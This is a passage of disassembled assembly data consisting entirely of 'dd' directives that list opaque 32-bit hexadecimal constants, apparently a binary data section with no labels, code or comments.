		dd 0A05B53D5h, 84812Ch,	0F7716A36h, 3742C16Eh, 0B630B000h
		dd 51DF5B3Fh, 9396012Dh, 64E9864Ch, 205ED579h, 6F0EA09Ch
		dd 0C0B1C6F0h, 0A362611Ch, 0EDAC3ECEh, 0D0041A00h, 0CBDD49C0h
		dd 59188800h, 0B4A8C72Ah, 80A02053h, 0A9B6E00h,	9F44C8ABh
		dd 0A2EA00CFh, 95863BACh, 0BE1D9EC5h, 20034CBh,	0C1730A35h
		dd 0AB25004Ah, 0E2072757h, 0D4E01238h, 0E5772200h, 0C090A90Ah
		dd 33E4CE4h, 0CE803438h, 4011028Ah, 0E301AEE9h,	0F7D19233h
		dd 0FC34BD09h, 0AAE838h, 24599145h, 21C06A93h, 0C1033C00h
		dd 839F952h, 14100FFh, 56B41889h, 580029E5h, 2DD447A6h
		dd 32A411h, 0B9C90861h,	66A52680h, 4BFC203h, 0E8EB7C67h
		dd 2B5810h, 35BBAC34h, 0B0789A88h, 0E4864E00h, 3643F7EAh
		dd 44BA00FFh, 32E3A280h, 181CD801h, 55403381h, 7E63CDE1h
		dd 0F0C50353h, 0A4E54CC0h, 67E3A880h, 0FA699100h, 0F82AA5A1h
		dd 6D32005Eh, 0BBC044BCh, 5BECDE90h, 68E287B8h,	2B1C8F00h
		dd 0CCF81524h, 14774Dh,	64235872h, 7FB9821Eh, 0BB49700h
		dd 0D85E2810h, 9E97ABBh, 0F31D15FCh, 95090083h,	2064B1B0h
		dd 87A1C838h, 884A1E6Dh, 0B4A2CDD0h, 571F00BAh,	0C33D0169h
		dd 537868F7h, 3388971Eh, 470CF300h, 0B9B9848h, 8C46C59h
		dd 0D3940820h, 0D507A2EEh, 2B18648Eh, 62A4F8E0h, 0F453DDBh
		dd 6B93C00h, 51840999h,	7E43EC14h, 1FB100E0h, 5F46CEEh
		dd 3E01EAD0h, 1F3030Ch,	0EB19091Ah, 80FDE451h, 0E6407919h
		dd 57C3ECh, 14060466h, 0B7D1BC22h, 0C175C000h, 0B379E35Fh
		dd 3F4A008Bh, 17AFC796h, 0D300CC73h, 0FE6D7CC4h, 3A0B13h
		dd 0A9CF8944h, 0E575ABCEh, 0C33C4FE4h, 60B480EFh, 1B9BFAFFh
		dd 748800E4h, 9AB083D9h, 2E0046AAh, 0B9CD0FAFh,	0B3D027h
		dd 6F590662h, 85A3FD77h, 2C7AF175h, 843E4500h, 147883AAh
		dd 5E560F71h, 0BAAF2938h, 43EA0860h, 46071B77h,	0FC712D11h
		dd 9153E310h, 65F51EC5h, 268E4079h, 5D57B00Eh, 679D6600h
		dd 0CCA660AFh, 1E7B78FBh, 40BA0403h, 0AB20B6ACh, 0A300A9AEh
		dd 5A8846F2h, 3F0C35Fh,	9590574Bh, 0B3A040E3h, 0AC0077ADh
		dd 0B27625EBh, 16BDCE3Fh, 155DCCh, 79F002CDh, 0F3003026h
		dd 0CB177F43h, 3F421h, 365D4D84h, 2D8322Dh, 0BB77C53Eh
		dd 6735009Eh, 0F5D0BA54h, 31490180h, 0A10801CEh, 6160DA36h
		dd 56064EFEh, 0C6342F45h, 0C3430038h, 0D4198498h, 0D7002A91h
		dd 5AA0D95h, 7C9F9C2h, 305F4794h, 0F7DA3035h, 0EE03710Eh
		dd 0B68BA98Dh, 1539E0F9h, 2BFE0045h, 0D57CBF38h, 0CB009423h
		dd 0DA535ECEh, 0E4F6417h, 0D1C8B35Ch, 6C2E2080h, 4000A7E5h
		dd 0D9512CE3h, 75F6086h, 1E7D5241h, 0E96B2019h,	9901E0C7h
		dd 0BE8C5751h, 52EC6DB9h, 385D00CDh, 0E3174AE2h, 0B2766CC7h
		dd 595C4C01h, 719D67DAh, 8FFCDDC5h, 28AF00E4h, 4A0D231Bh
		dd 0C090F9E8h, 0C3E94503h, 0A81655E7h, 7CD1D8h,	0CDCC709Ch
		dd 3E17A9C7h, 0F1215607h, 57016F6Dh, 0FDC48F42h, 0DBF30043h
		dd 0DFBFDE66h, 5100CA32h, 2C33ACF1h, 1ABCF0h, 65D24211h
		dd 0E71D559Dh, 687F2F79h, 0FFA7800h, 267F1920h,	231C01A9h
		dd 0A1B8B757h, 0FCF5E92Bh, 7900725Fh, 0A39813AEh, 806953h
		dd 893DCD1Dh, 8751B39Ah, 0CEAD2638h, 0A000EEBCh, 11AA8556h
		dd 5A1D7F77h, 0C2401BBCh, 0E2F3182Dh, 3262007Bh, 0D9FE83B2h
		dd 0CE0B10CCh, 8391337Dh, 0B8FADF90h, 0EA8C8FE9h, 594A3B15h
		dd 0B038A100h, 0E23EB2E5h, 0EEE13100h, 0E04D97A3h, 8F0700C5h
		dd 808BA4DAh, 0E601212Dh, 61663CADh, 88E0F8FBh,	7ECB58EDh
		dd 0DD463800h, 9781D237h, 0B1092B0Eh, 0FC0149Ch, 0A09D1589h
		dd 2048A0E5h, 9E180F3Eh, 4DA008CBh, 9C253501h, 81E9D000h
		dd 0E876ACBDh, 17D70FD3h, 7200B308h, 18C8C78Ch,	0ECD91B07h
		dd 6DB0884Dh, 5853140Ah, 3680486Eh, 0ADF8359Bh,	0EB007176h
		dd 6E7CC7EEh, 1DC4771Ch, 80A09C04h, 0EDD240E1h,	560170A3h
		dd 43F4202Fh, 64F86CFBh, 0CAC30176h, 17F87501h,	2665C0F1h
		dd 83555901h, 2AA3093h
		dd 207CA060h, 161DE6C5h, 218F5097h, 1B15E0FAh, 98CF32BDh
		dd 0EEB008Fh, 0D9ED13B3h, 973A3AA8h, 477F7BEAh,	4B86F400h
		dd 0CE855095h, 6E2B0FA2h, 4FE04C3Ch, 0B62D9732h, 53C57100h
		dd 76B5ECE9h, 0EE080074h, 0A369A103h, 0AEE877DEh, 0F1350B00h
		dd 4BDD4415h, 0CDE679h,	3AA4A314h, 0FFA928D2h, 98B52500h
		dd 6EC73CF4h, 34501742h, 697C0010h, 135D0BEAh, 9F0F37FAh
		dd 0C0C8E9B8h, 5EE6B45Ah, 416D282Ah, 1347AB8h, 1A5464DDh
		dd 6C3ADA2Dh, 4C050007h, 29CEE230h, 0A2B00FA4h,	0F0A14066h
		dd 0E42DA37Fh, 0CD005ACBh, 0E073E2CEh, 90C789F9h, 11953B0Ch
		dd 0A9D88E80h, 48A546Ch, 0A200C0BAh, 21915501h,	0BC9CCBh
		dd 6A3F51C2h, 0E3BA6F94h, 0F577C3Ch, 0E0239866h, 80DD1FE4h
		dd 53942C58h, 0AC30008Ch, 4725B5FBh, 6B71BB00h,	0CC2B4843h
		dd 3FA738DFh, 0EC497980h, 96C3B36Dh, 69569C00h,	0A4E2C114h
		dd 42F00F8h, 21A28EAAh,	0DB078345h, 471438F5h, 0A55F4240h
		dd 85780084h, 4E9BA33Ch, 0BD2CA6BFh, 0D600F065h, 441F8C1h
		dd 0F8C298CCh, 0A7DD00BCh, 99F33330h, 8400613Ah, 1996075Eh
		dd 98902Ah, 50F077D0h, 79119AFAh, 0A2565107h, 2D50B238h
		dd 39999D72h, 93005BBBh, 0CFC8D53Ch, 6F3CB3A0h,	3E4B8040h
		dd 41C7A447h, 62B00398h, 0A2D2734Ch, 0AD674F98h, 8C001371h
		dd 3DB1874Bh, 35F637Ch,	44A5970Eh, 0DA90BAD3h, 0D008D39h
		dd 0E97F527Ah, 362802h,	9BCAF204h, 7CE749ABh, 3D1E900Eh
		dd 96D2A030h, 0E14D5Bh,	71D7D954h, 0C14B11D8h, 0AD174100h
		dd 7ECF4E99h, 889E0050h, 46C3E06Fh, 25035AFCh, 0AB14A9E4h
		dd 43CBE8E8h, 0DF45030Ch, 547D8E40h, 0F6917598h, 691E7300h
		dd 5665C5B1h, 6C3505AEh, 83F14CB5h, 0BA98883Dh,	690E6B70h
		dd 0D4EE72D0h, 3DAA1E80h, 0F9FC4880h, 772862CFh, 0CB4D07ADh
		dd 495CB21Dh, 6E09AC80h, 7E399577h, 264F00F0h, 0F1F42B57h
		dd 0A2210045h, 0E1D9FF87h, 20001943h, 0F66FACCEh, 7EEF8h
		dd 0AE80A0FCh, 0B853E128h, 0EC265B00h, 0FE52CE06h, 7A740092h
		dd 4C98557Ch, 0DB00D60Bh, 7FEF3C26h, 0C02747h, 0CD9E1345h
		dd 327BDC53h, 69DE1A00h, 5EEAFB0Bh, 7BC7C4Dh, 8EC741C2h
		dd 77454050h, 3800159Ch, 0C97CCBD4h, 5B2818h, 0E2D24BB3h
		dd 1F43EEAFh, 109B7512h, 20D8D709h, 49D6A5B0h, 5448007Eh
		dd 0D49AE5DDh, 6F00975Ah, 61E60E5Dh, 8C5BF1h, 0EFFE3D2Ch
		dd 0A1C243Bh, 0E771D31Eh, 10283700h, 44CD423h, 0C408B76Ah
		dd 0BC600252h, 5C4300CBh, 40EEF686h, 3F056998h,	8C6B33D8h
		dd 0BA3B33F8h, 0AD504C80h, 6D25FC51h, 0F5CE4B00h, 0B1597503h
		dd 0F62800D4h, 74A341C4h, 6800760Eh, 7ECA0DAh, 0D54921h
		dd 5BAEF38Bh, 6A1D62A5h, 619F465h, 0EBDAE2C1h, 0E9D170h
		dd 8819E1A5h, 9ABDCB1Ah, 9B208F00h, 0F373357Fh,	5260009Dh
		dd 0C83124Dh, 0F47554E5h, 0D82A5F00h, 75939C89h, 0EF84E11h
		dd 1600EFD8h, 0AB53B379h, 0FF0749F0h, 285BC5FCh, 44C8EF4Fh
		dd 0BF806D93h, 0B02568h, 6E31B5FEh, 7B3ED49Bh, 95047601h
		dd 0B2863771h, 0E6B39DCh, 4D5A9CF5h, 1A27AFA0h,	0AE4CE1FEh
		dd 0EA5803D4h, 90DE0A90h, 2FC09Dh, 0A8700C74h, 8C9C6180h
		dd 765E9606h, 7CC0723h,	73100F8Ah, 2CA615Bh, 163D601Ah
		dd 0C12E4498h, 0CF03C40Ah, 0B04EF92Ah, 92549Ch,	15E22B31h
		dd 85E32321h, 85FF4C3Ch, 7A1247DEh, 3FA80490h, 869A8810h
		dd 0C8618500h, 219C6512h, 22E70178h, 0C4FD7454h, 6EBC332h
		dd 0F5F38AF0h, 0AEE9501h, 0B720F46Bh, 17E351ECh, 4026B4h
		dd 0F596D72Ch, 4E120793h, 53002338h, 0D9653467h, 0E4BD072Ah
		dd 80C9C59Dh, 8DEC17EEh, 0BB836203h, 0C821D0A4h, 54AE840Dh
		dd 0F3D01Ah, 0B74226DCh, 27B329BEh, 71B50C09h, 9AC0C854h
		dd 6FA300E4h, 9D2C7DEDh, 0E00AD90h, 0D4B29FF0h,	8149CEh
		dd 0F5FC4442h, 735CF139h, 6AE4B61Eh, 8FA4A241h,	0A0705B90h
		dd 920300D3h, 0E622EF4Eh, 600F584h, 0F4BD3376h,	0BCC4727h
		dd 0B8EDF239h, 0C07B2A00h, 5DFE8E60h, 40EE512Dh, 71D6FFh
		dd 0F742CDFh, 0CDAE2E6h, 0C1BD7500h, 188BEE49h,	0E3D33923h
		dd 9730F1FCh, 0B6547FE9h, 0EC003EBCh, 3DF38DA4h, 591CF575h
		dd 0CD00ED24h, 0D45C3F4h, 384D009Dh, 52DA6CE1h,	48039C02h
		dd 0DE66F563h, 1CC00253h, 0B40FA57h, 204684C8h,	145D6D00h
		dd 0A9E563Dh, 0D9670058h, 0A76F23DFh, 0FAE096DBh, 68606109h
		dd 0D300F759h, 0A566B905h, 8EC5481Fh, 863C7BC0h, 1E0C5D50h
		dd 804BD817h, 332688Fh,	9C00A6E2h, 7ADBA92Ch, 0D0FC9Ah
		dd 93BA5A3Ah, 671927F6h, 902C0900h, 8B2FEBA0h, 0ECA30F1Bh
		dd 324020C7h, 0B71DAA0Bh, 9B30A102h, 0E0948601h, 0F3EF2Ch
		dd 0A91E3E43h, 8745278Ah, 0AD44DB03h, 0D8FE1095h, 62EE1Fh
		dd 0A5B7D446h, 2EFFBE33h, 0F032B116h, 631E1C03h, 0E539C0C5h
		dd 5734488Fh, 3AAA0800h, 987F8EE6h, 9501107Ah, 0C0B8A99h
		dd 79E0821Eh, 0EFE9Dh, 0E4C1AD23h, 0BD8030CCh, 341CEE0Fh
		dd 5FB6E167h, 0B8505213h, 2701749h, 0E31BC9D8h,	9C798E45h
		dd 2E962900h, 0CB8E9FCh, 2262DB9h, 6000D9B4h, 0A10C13BBh
		dd 1DFD308h, 4795DB67h,	0F06E5A83h, 2A002760h, 0BD720FB4h
		dd 489E0Dh, 0A7F0441Fh,	2BFBB91Eh, 96009DF2h, 0ADCBB5C2h
		dd 614364h, 128E7C01h, 14D1F54Ch, 0A85E7103h, 0A8F419B2h
		dd 94B724h, 2573FB80h, 0F7CF11F3h, 0BDAD4C00h, 46581DB1h
		dd 6DDF07F0h, 5F9F80B9h, 17DEE620h, 0F1006645h,	0C2263673h
		dd 774B718Bh, 0A9DA000Eh, 0E9649611h, 6B00E153h, 51189713h
		dd 79DAC3Bh, 0FF072189h, 651F6060h, 0C0014DC2h,	62E00986h
		dd 2A202E50h, 0FFAF0452h, 0C0753A06h, 0CF44D6F2h, 31681F00h
		dd 0D91887E0h, 12DE292h, 9B40126Dh, 7061F1FEh, 8002FA28h
		dd 3461596h, 39214016h,	0B07F3E76h, 0AFB82F80h,	59A9C211h
		dd 0C0124800h, 0C8CFB968h, 9973C4h, 9D94A577h, 4049806Bh
		dd 0A03D1912h, 274D2401h, 0AD554F4h, 60E21D71h,	2428BBB4h
		dd 3DA75C03h, 0A3BACA83h, 0E9981C6Ch, 0DF3DBE8Ah, 80EB3D18h
		dd 0D2A27EEDh, 0F8DB91Fh, 4784D8F8h, 0DDB0EEC0h, 0B7009D02h
		dd 0E81AC066h, 0BCA7B5h, 0B2A48FFh, 0F8DDF370h,	143CF076h
		dd 38160002h, 88A7A2FDh, 0BF800197h, 7E9D485h, 4608FCB8h
		dd 9F621D1Fh, 17C69E80h, 0FF802h, 0DBF3CE74h, 46109DEFh
		dd 340ED2E8h, 804F4D85h, 1B9CBCFFh, 60FE0092h, 0B1557520h
		dd 275EE680h, 4E6D8800h, 0CDB232h, 23D38195h, 0CE8CAAB6h
		dd 6024C459h, 809F3611h, 646C4D6Eh, 57F1D900h, 1C7C6D3Eh
		dd 8638C800h, 8D6CBC95h, 6209030Ah, 0A57A2B5Dh,	369949D0h
		dd 0F41FAB1Ch, 0E0ACEB0Fh, 92B21ABAh, 0BFDE00F3h, 3C9CFC41h
		dd 633DDB69h, 0A7CA82EDh, 5257F926h, 70D80198h,	4EFC6B4h
		dd 0D7283013h, 9C00427Eh, 0CF67956h, 1CA4E2h, 0E566C158h
		dd 30E0A217h, 9D071D3Dh, 8FC9EFDAh, 41DC80A9h, 0BB3142h
		dd 0D9D14F8Ch, 27645CA5h, 8C03975Bh, 0F044A332h, 0B8492D0h
		dd 7479E0D4h, 0FFC2A040h, 64072675h, 65B12A3Ch,	8058FD82h
		dd 9B21E4CCh, 0EFAB2F8Ch, 18E0FCA9h, 0B812C673h, 0EC01289Dh
		dd 4487995Dh, 32C07BC5h, 21B50078h, 31F72F27h, 9B00836Bh
		dd 0BBEDFA85h, 6B15AACh, 200B7A1Fh, 460078C5h, 4C4BA110h
		dd 61E8181Eh, 2C8476EDh
		dd 0E3A6C850h, 7BE9BC1Fh, 1000EF53h, 26A083Dh, 0DB980355h
		dd 5A05A8DEh, 85E0F8A3h, 0F200C197h, 0D5B448E9h, 0C06156h
		dd 6E41A567h, 912DE0A8h, 3C365500h, 771E4FF9h, 1A8200C8h
		dd 5EBEF5F2h, 0AC01EACDh, 0CBDD43F4h, 7605142h,	75301703h
		dd 4AE60FEBh, 797B8E23h, 529C7DF8h, 10552007h, 0A6121572h
		dd 0D8CB6086h, 19370027h, 3E291DCBh, 585D4030h,	612500E4h
		dd 0D4C9FEC6h, 1A650B5Ch, 2F80DB54h, 0E167B1DDh, 0C007178h
		dd 6E61B2ADh, 1F9FA9BAh, 0FCEC528Bh, 93BDB600h,	0EDCF578Ch
		dd 44893000h, 0E00A6DAAh, 0F84A503Fh, 0AFD5034Ch, 0B5130C9Bh
		dd 83E706D0h, 0D3703EC0h, 74A57Bh, 2A5425FCh, 0D848C9C0h
		dd 37250B7Ch, 6C74408Fh, 0CF6A004Ah, 0B5F98975h, 20007C2h
		dd 0E03DCE5Fh, 3E1C90EFh, 0C709600Dh, 0D410F48Ah, 2E00A4F9h
		dd 929EE61Fh, 549813h, 0A6186D05h, 0F9092784h, 7639C27Fh
		dd 26A8B095h, 8A5FF1h, 4508494Ch, 0CBF74F19h, 40AE9800h
		dd 0E8F991C4h, 0F1620030h, 4AE38D2Fh, 0FF03FEE6h, 17A8A585h
		dd 8F23D808h, 4DCB0CF8h, 3558D4A6h, 0BEC49409h,	523581D2h
		dd 54DA0190h, 1A3B00E8h, 314D07B3h, 920046F8h, 39FCCFFBh
		dd 0E55A714h, 0FA9F84F8h, 598F4BA0h, 0E800D9F5h, 0FC57E22Eh
		dd 3F73DE2Dh, 0F085FE85h, 307D632h, 8C8DA08Fh, 88E036BAh
		dd 0EF00ED05h, 0D8A88B82h, 52BC1Dh, 0FF8AE02Ah,	695132A7h
		dd 7DBF6D00h, 427A5EC5h, 0F1538A2h, 9F069700h, 0A73A8DF6h
		dd 69E84701h, 46E92011h, 96B1B20h, 0D1435C63h, 3C0FF80h
		dd 0AE1DD6B9h, 0A8806F98h, 8EE00F95h, 99BF001Fh, 58FF6190h
		dd 7900E27Ch, 212B6456h, 594CC38h, 0AD4D302Eh, 0FE2DC428h
		dd 0A0122FC3h, 0C78C90h, 25DFAD4h, 99E81708h, 28B85100h
		dd 152E4F04h, 6035F4F5h, 9BDE7E32h, 5800C8EBh, 73BE778h
		dd 1CB89017h, 16CFC15Fh, 0FD160BB4h, 46F7BC00h,	0BF000A33h
		dd 8A139C2Ch, 12AE4419h, 0E0E13C12h, 5E00F5B8h,	16114136h
		dd 4EFD63B5h, 90400F7h,	0F6F156D6h, 7CC33003h, 0C8E86D39h
		dd 954CF383h, 5200A30Fh, 3057F4EFh, 26ACE45Ch, 4900F1DCh
		dd 9150DBD5h, 9810952Fh, 231CB8A9h, 0DD472A3Dh,	0B3915C26h
		dd 6C28FCA6h, 7E16912h,	40C39D1Fh, 4733718Ch, 443A101h
		dd 4FEFCAC1h, 1FF6EDFCh, 822F84C4h, 0D2380B7h, 8A77060h
		dd 0ECFB0301h, 0FE77CC2Bh, 5CDB62D4h, 0A0006F12h, 0D1C70FD3h
		dd 427083CAh, 90D9A09h,	743409F6h, 0C06E1DE3h, 3B16B1E5h
		dd 46009E5Ch, 8C6AFDD3h, 3C94FB9h, 70BC83C8h, 20E77B2Eh
		dd 1905DEE3h, 82EE5D00h, 0B685429Dh, 5FB30335h,	0A2C8DDFEh
		dd 0F14F3A0h, 0FAED6700h, 0FB685084h, 0FF880042h, 0CA90F09Ch
		dd 40F6C1A3h, 0A9007E77h, 0E5F1B969h, 2A93BAh, 0E6C39530h
		dd 0A8C0AB75h, 27A2F91Ch, 7F80401Eh, 0DA68256Bh, 6910005Ch
		dd 30F213D0h, 1095D3A5h, 0B2BCAF08h, 5A43AC0h, 0C807527h
		dd 0CD1D8AC5h, 0E67EB900h, 0F912874h, 72F2F1h, 87C65EF0h
		dd 96D185E7h, 9F57F71Ch, 0DCF94E43h, 2DA880C5h,	543B042Ah
		dd 0ED8B22D2h, 761E1008h, 3306B8C1h, 0EFFE11B9h, 3219470Ch
		dd 0F6102F2Ch, 0C4CE0h,	0B483F245h, 362DA5FAh, 854F4800h
		dd 6CA12563h, 6806019Bh, 0AE31C7EDh, 0B44E8C4h,	0CE27937Fh
		dd 56E4480Ah, 0BD24120Fh, 6D810078h, 2AAE51EDh,	3F505500h
		dd 0CA521ED7h, 0AA4A390Eh, 1383E59Ch, 30F4A337h, 5A49A057h
		dd 0DAAF2898h, 0B825280Ch, 14209D74h, 907335F4h, 0E002E57Ah
		dd 8DD0E35Ch, 0D8F240CFh, 34EB0002h, 44F4D9C5h,	0B17C930Ch
		dd 90E01100h, 3130D06Bh, 0BA4D1E8Ch, 0C0FC80F6h, 0E618CAD9h
		dd 5B193Bh, 0A383EA84h,	0C9AD12h, 0B349A742h, 0DCB24502h
		dd 0C57B1601h, 92FEFBEAh, 7B49570h, 38084221h, 0B1FDC157h
		dd 9C47C04Eh, 41BE4600h, 6EC18665h, 680C07CEh, 0F02189D6h
		dd 522219EAh, 5373F400h, 2DAC8C77h, 0D07D5A3Fh,	0C4B69CA0h
		dd 241E281Fh, 4DF3D307h, 5D0C01EFh, 9050B2C6h, 5C898Fh
		dd 0A8E11FF9h, 3B61F663h, 45C09C03h, 0E88B3485h, 3EE21A57h
		dd 0F61E81A7h, 0BCC7CC02h, 2C050441h, 1E5A55EEh, 0E25E806h
		dd 21AD6008h, 0A2EE241Ah, 0AC26E73Ch, 0B800B85Ah, 2DB2B6F3h
		dd 5F3E01DCh, 0D3D8C836h, 4440604Fh, 0D7E3A014h, 21EF1010h
		dd 1FA45160h, 57077664h, 9E0A3704h, 0C45980Ch, 0B987BB91h
		dd 3E102038h, 860D317Fh, 0F371EA5Bh, 342EE0CFh,	3E60F74Eh
		dd 0C0EF4A20h, 0E5AA00D1h, 0F5E66DDh, 0B7006E8Eh, 0EA38158h
		dd 78548AA8h, 0D90500BBh, 8F1FA1DDh, 0BE07C236h, 0B137F5DCh
		dd 0BAD5B050h, 329F0074h, 9E416449h, 1500F2C9h,	0B8F665EDh
		dd 3F9D17B6h, 6B87C2BBh, 50750C6Eh, 0DBA39302h,	8135E200h
		dd 0BD76E5D2h, 0FC7813h, 873394D9h, 0B1B0588Bh,	0A4CA0A01h
		dd 0D05B4E0Ch, 69BC60h,	2E95D841h, 0BB9CE4CFh, 0F31D03EEh
		dd 80FED651h, 0BAF2F711h, 2B9B78Eh, 2102D50Ah, 40E05D67h
		dd 85F0656Bh, 3F05F40Ah, 0A00A091h, 0BB6FD08h, 3EDF8B8h
		dd 668599C3h, 8000D5C1h, 5B67DEA9h, 77F58Fh, 97B414C8h
		dd 0E135DDA4h, 7419400h, 89E019CAh, 0F00117A1h,	0D4FD009Eh
		dd 0C1C31FF5h, 59F18300h, 60D0248Fh, 88CC0023h,	0DC82E3D6h
		dd 721DFAD7h, 0B88004B9h, 0A50AEBE8h, 27428BBh,	1E3903B0h
		dd 9FDD3458h, 0C8860D2h, 0E40A5504h, 3E90FFh, 9FBE9062h
		dd 0EDBFC3h, 0E7B1BD34h, 0F92ED940h, 0AF72E402h, 0E362FE97h
		dd 412911E9h, 0F2211135h, 0AD08EE21h, 28C594B7h, 11DCD511h
		dd 2C11AE8Ah, 14D928B0h, 42E0BE22h, 0A3A211A6h,	0A108FD21h
		dd 3CC294E1h, 2EA2D511h, 2831B391h, 0BE11E594h,	6DD111ACh
		dd 0DD109512h, 8DA89C9h, 0A99444F0h, 0CD3D2284h, 0F53C7650h
		dd 8A8DA044h, 0F86EEA60h, 0BD6CB900h, 6F250931h, 188A0341h
		dd 221DFDC9h, 0F95E4380h, 803C0C39h, 77EE254Bh,	3F11BDh
		dd 0D2264ACAh, 55A4A17Bh, 0FAF0E400h, 0A73B8B2Dh, 1EA20158h
		dd 6D8743F3h, 418CF0FEh, 0C6BF1300h, 0CB453084h, 8DB40089h
		dd 35DA3AB3h, 0BD3A7588h, 4804A69Ah, 0B1A27E30h, 6B6A00AEh
		dd 0FA5C08EDh, 4500611Bh, 1843724h, 30B8769h, 0C5CDC9B9h
		dd 8B88BD7Dh, 0EF00687Fh, 86F73904h, 0D2F72h, 964599DAh
		dd 0A10E675Dh, 66A48800h, 756350D9h, 374708Fh, 13127F72h
		dd 0FB902EB8h, 77483CC9h, 6D007940h, 0C24FEA3Dh, 94B990Eh
		dd 5B0F76EEh, 0AF1CD101h, 0F02E61C5h, 8300BAE0h, 592AB29Ah
		dd 0A38B8Ch, 8647C839h,	0D9755D77h, 92417900h, 5A1418C4h
		dd 0AAC600A1h, 0A0E50A9Ch, 45003A86h, 8E19F7D8h, 0E827BC90h
		dd 555B0326h, 0CEB57730h, 9221F888h, 132DAE00h,	27C57DFDh
		dd 351703F6h, 59B8087Eh, 7F3848D0h, 71001BEAh, 0FE104E18h
		dd 769F4DA6h, 0E96C00F0h, 2077335Bh, 490B58EDh,	0A474188h
		dd 4B00C0CCh, 7FDE02DDh, 0EAF100D3h, 8406B5C9h,	2AE8E49Bh
		dd 79A75E00h, 7E96FB3h,	0E0410F29h, 6D009C70h, 926758BDh
		dd 8F0F7E78h, 0C752E97Fh, 43301CA1h, 0D04AF8h, 29F99AD6h
		dd 0D811EA79h, 0D53BE300h, 1FF24C7Ch, 57CF0FBAh, 0B56B9C27h
		dd 0A8E7A700h, 0F800DA05h, 0EF1AC702h, 16F157Dh, 96FC95EAh
		dd 60E1BABFh, 130064EAh, 0C1DEFD3Dh, 3C50703Ch,	12802924h
		dd 5B0C7303h, 531F6F18h, 4997CA9Ch, 71C100AFh, 9426CE7Ch
		dd 0A4E31400h, 67ADFB37h
		dd 50A10065h, 0A987762Dh, 2A00BD08h, 49CF70C5h,	1D36296Dh
		dd 40CE3E8Eh, 0C77F7984h, 6F1E0B7Ch, 6E1D4058h,	1DA8FA54h
		dd 807D22E8h, 698ACA44h, 0E114B7h, 0B6FE4173h, 0E010EB6Dh
		dd 342B6600h, 2D07A44Dh, 0DA730783h, 99700Ch, 2E5F8658h
		dd 4F871B00h, 38BF63BBh, 0F38C07B2h, 0C03D6C8Ah, 0ED3F7B64h
		dd 0D824A00h, 0E36607FAh, 50613804h, 0C79CC500h, 7EB5DE70h
		dd 7600B076h, 8BACFCD6h, 1D123590h, 40C0BAEDh, 3EBFEBDCh
		dd 8E2FE480h, 637C0Bh, 47975092h, 690E9D11h, 404EB974h
		dd 0B203718Bh, 0F9E700B3h, 0F1C6D530h, 23ECEA1Fh, 0A4A70400h
		dd 25ECF7BEh, 0F47348h,	537A689Fh, 6F781FC9h, 87E8E770h
		dd 0B3EB7905h, 802CECh,	5BF5BDh, 3BC51F16h, 4CD212E8h
		dd 9D00B8FCh, 0A4410133h, 37A7D38h, 0E016DD86h,	40C8A0D6h
		dd 4B009AF8h, 1FB5AAF9h, 0F3BDC46h, 5CE61A0Eh, 0CEB7F5C0h
		dd 0B0003309h, 41D27F22h, 0F5AED57h, 7EBEFA2Ch,	0C7186E21h
		dd 0F3E9F8EFh, 8503A37Dh, 79153703h, 901DD074h,	5739002Ah
		dd 31CFDDA6h, 0E3000549h, 0C83FA1ACh, 9A46C5h, 19359824h
		dd 13B1D4E2h, 12003690h, 7842B617h, 210B2h, 0A9CD2741h
		dd 83382CDCh, 0D0F11E00h, 0B63CE23Bh, 6FA0263Dh, 766D09B7h
		dd 9F4005h, 0D6715DA5h,	4500EA91h, 0D424F178h, 0FF37C7h
		dd 67B42296h, 0DC2640CDh, 0A4663300h, 9958BF75h, 0D5B50061h
		dd 93901980h, 9E00A9DBh, 2AE332F2h, 0E9B5EEBh, 0E0B8BB55h
		dd 0F1C07EE0h, 3900191Ch, 0F3D90860h, 1D764B1h,	21D5427Ch
		dd 0F115B74Ch, 35D840C6h, 7900569Dh, 0C8865491h, 57EA41h
		dd 93B00276h, 48EB35D4h, 40967B00h, 23F14434h, 6CD9008Eh
		dd 0E24698F5h, 0DD018F22h, 0D43F980h, 0C0C228CCh, 1E7328h
		dd 0DC1FA231h, 76081C4Ch, 109D1024h, 0D6B11200h, 382C9A44h
		dd 0ED03590Dh, 0D32487CFh, 0D02A69A8h, 22FE540Fh, 0E817AAA7h
		dd 0D773EC02h, 478D60A9h, 1F5C7ADEh, 0FB3416D0h, 44E6DA80h
		dd 0CA38D4A4h, 0C23741Fh, 0C7759B05h, 9E6B0880h, 0C16007ACh
		dd 1AEAA4h, 4E8757AFh, 190EC326h, 316A4B00h, 5685F8h, 0E9892F8Dh
		dd 3A2B60B3h, 0F6FF3Ah,	0E3B2331Eh, 0E13415h, 4D80EADAh
		dd 0C34768D7h, 0D8E7000h, 0A2C9B143h, 989C0E3Dh, 9AA73375h
		dd 0C080572Ah, 5F73D57Bh, 1B002CE0h, 9E6819D8h,	0ED86ECh
		dd 227C64E9h, 650F9D79h, 0D04CB400h, 81B274F1h,	8D76008Ah
		dd 324E203Bh, 0A2165FC6h, 0D8205309h, 10D5A83h,	0EEAE379h
		dd 0DDE9D3B5h, 5D8460C9h, 9525BD03h, 0A840E5D1h, 371261h
		dd 34E9D0FAh, 3A2F5D09h, 1DE0FB00h, 339153CEh, 0AFFCC8h
		dd 9052CA01h, 3BE5CF32h, 95170D00h, 6343B496h, 7F870968h
		dd 1F01DBA8h, 0F4D0E776h, 907B380h, 0C6726D29h,	0E08DB570h
		dd 0E63F00DFh, 9CCDAA65h, 1D00FB51h, 49D3647Bh,	7DA7A5Fh
		dd 0B6F5D81Ch, 2431106Fh, 7600AB96h, 55998CE9h,	396170h
		dd 0E8DE5792h, 49CCB19Ch, 72DDC00h, 2AB08B27h, 0AF4EE53h
		dd 0B113DD84h, 4612B0h,	47E2C77h, 0F300E8A0h, 0B8E18E02h
		dd 6F91A1h, 2BDC79B2h, 89CC933h, 44D24C00h, 4A099E12h
		dd 0C73F0088h, 0FF68B17Bh, 1C0096EAh, 0B0FD658Ah, 740910h
		dd 0BDA8CAF8h, 7158EBA7h, 0AA00D2F6h, 5B8ADC98h, 0BF84E9h
		dd 0D681A1CEh, 317A97Bh, 4C0625h, 0FF163A98h, 5C85027Ch
		dd 5EFAEAC9h, 5AF2E0C0h, 2678F500h, 6EDC4893h, 4FE71C7Eh
		dd 4A00FD4Eh, 0BB0A7390h, 0B400F0F1h, 0D3FA2EF3h, 3C8375h
		dd 0FF8B2C67h, 29E518B0h, 8C573Fh, 0F99EAFF5h, 50A16BC0h
		dd 0E40D13Bh, 0A2875511h, 36DC1C60h, 4EE93F7h, 9E7A4A00h
